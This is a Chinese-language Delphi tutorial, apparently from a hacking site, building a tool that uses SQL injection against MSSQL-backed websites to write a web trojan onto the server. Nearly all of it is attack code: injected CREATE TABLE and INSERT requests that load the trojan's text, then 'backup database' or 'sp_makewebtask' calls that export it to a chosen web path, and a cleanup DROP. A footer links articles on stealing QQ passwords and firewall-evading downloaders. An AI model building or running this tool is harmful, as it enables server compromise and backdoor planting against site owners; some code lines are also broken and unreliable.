现在来写程序了。
我们首先定义一个RECORD。
如下:
Type
SetOption = Record
TableName : String; //用来保存要创建的表名.
FieldName : String; //用来保存要创建的字段名.
FiledType : String; //用来保存创建的字段名类型.
End;
FiledType字段类型的值是以下类型的一种:
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值.
再定义一个全局变量:
Var
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
好了。在表单创建的过程中,我们为RECORD记录输入默认值.
代码如下:
procedure TMainForm.FormCreate(Sender: TObject);
begin
sOption.TableName :='cyfd'
sOption.FieldName :='gmemo'
sOption.FiledType :='text'
end;
现在我们添加开始执行命令的代码。
先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
在程序开始执行前,我们得先检查一下用户的输入
定义一个Checkinput函数.
如下:
Function CheckInput : Boolean;
Begin
Result := False;
if Trim(urlet.Text) = '' then
Begin
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation);
Exit;
End;
if Trim(ShellPathET.Text) = '' then
Begin
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
Exit;
End;
IF DefBDoor.Checked then
Begin
if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
Begin
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
Exit;
End;
End
Else
if Not FileExists(CustomBdoorET.Text) then
Begin
Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
Exit;
End;
Result := True;
End;
在最开始加入:
IF Not CheckInput then Exit; //如果输入不合法就退出过程.
好了,如果用户输入没什么错,我们就来下面的代码。
首先我们把IsStop设为假。创建BdoorList。
BDoorList := TstringList.Create;
再加木马内容到BDoorlist.
BDoorList.LoadFromFile(CustomBdoorET.text);
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
代码如下:
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
接下来.我们就提交建表的功能了.
Memo.Lines.Add('建表...');
Memo.Lines.Add(''); NMHttp.Get(Url+'Create%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
这样我们就创建了一个表。然后.我们向表中加记录:
代码如下:
Memo.Lines.Add('加数据...');
Memo.Lines.Add('');
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
Begin
IF IsStop then //这里如果点了停止按纽程序将终止任务.
Begin
BDoorList.Free;
Exit;
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');');
Memo.Lines.Add('Add Line '+Inttostr(i+1));
End;
现在就是导出数据生成木马了.
Memo.Lines.Add('导出数据...');
Memo.Lines.Add('');
IF BKData.Checked then //如果选中采用备份数据就执行下面的命令.
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
这样我们的任务就完成了。下面来释放变量.
BDoorList.Free;
再来向停止按纽中添加点击事件:
一行代码就行了:IsStop := True;
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
第一个名称为:TableNameET //保用户输入的存临时表
第二个名称为:FieldNameET //用来保存用户输入的字段名.
再添加一个Combobox //用来保存用户所选的字段类型值.
名称:FieldTypeCombox
OK.
代码如下:
定义一个过程,主表单好调用这个设置。
Procedure ShowSet;
Begin
Application.CreateForm(TSetForm,SetForm);
With SetForm do
Begin
TableNameET.Text := sOption.TableName;
FieldNameET.Text := sOption.FieldName;
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
End;
SetForm.ShowModal;
SetForm.Free;
End;
在主表单中设置的点击事件中添加上showset过程就行了。
下面就是点击确定的代码了。
IF CheckInput then
Begin
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
sOption.FieldName := Trim(FieldNameET.Text);
sOption.FiledType := FieldTypeCombox.Text;
Close;
End;
这里又有一个CheckInput主要就是检查用户输入的值是不是合法。
代码如下:
Function CheckInput : Boolean;
Begin
Result := False;
IF Trim(TableNameET.Text)='' then
Begin
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation);
Exit;
End;
IF Trim(FieldNameET.Text)='' then
Begin
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation);
Exit;
End;
Result := True;
End;
到这里程序就完了。
| Visual C++编程窃取QQ密码 | 12-08 | |
| 编程实现重起网卡等设备 | 12-07 | |
| 一个邮件群发的Delphi代码! | 12-06 | |
| Delphi下Internet的编程技巧 | 11-20 | |
| Delphi黑客编程-如何映射虚拟盘 | 11-15 | |
| 用DETOURS库获取NT管理员权限 | 11-08 | |
| 一篇关于vb代码质量提高的文章 | 10-30 | |
| 解析Asp.net木马文件操作 | 10-04 | |
| 盗QQ源码 | 10-01 | |
| 如何映射肉鸡磁盘(Delphi黑客编程 | 09-24 | |
| 打造无DLL版穿墙Downloader(Delp | 09-22 | |
| 调用指定的Windows程序(Delphi编 | 09-19 | |